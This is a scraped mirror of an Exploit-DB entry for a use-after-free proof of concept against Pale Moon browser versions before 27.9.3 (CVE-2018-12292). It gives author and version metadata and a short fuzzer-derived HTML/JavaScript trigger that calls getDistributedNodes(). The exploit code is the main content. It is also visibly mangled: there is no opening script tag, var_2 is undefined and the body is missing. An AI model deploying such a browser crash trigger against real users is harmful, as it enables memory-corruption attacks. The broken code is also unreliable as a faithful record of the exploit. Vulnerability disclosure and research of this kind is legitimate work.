Pale Moon Browser < 27.9.3 - Use After Free (PoC) - 体验盒子

作者： Berk Cem Göksel

日期： 2018-06-18

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/44900/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC)

# Date: 2018-06-13

# Author - Berk Cem Goksel

# Vendor Homepage: https://www.palemoon.org/

# Software Link: https://www.palemoon.org/palemoon-win32.shtml

# Version:Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)

# Tested on: Windows 10

# Category: Windows Remote Exploit

# CVE : CVE-2018-12292

<html>

<head>

<style>

</style>

function SetVariable(fuzzervars, var_name, var_type) {

fuzzervars[var_type] = var_name;

}

function jsfuzzer() {

var var_1 = var_2.getDistributedNodes();

SetVariable(var_1, 'NodeList');

}

</script>

</head>

</body>

</html>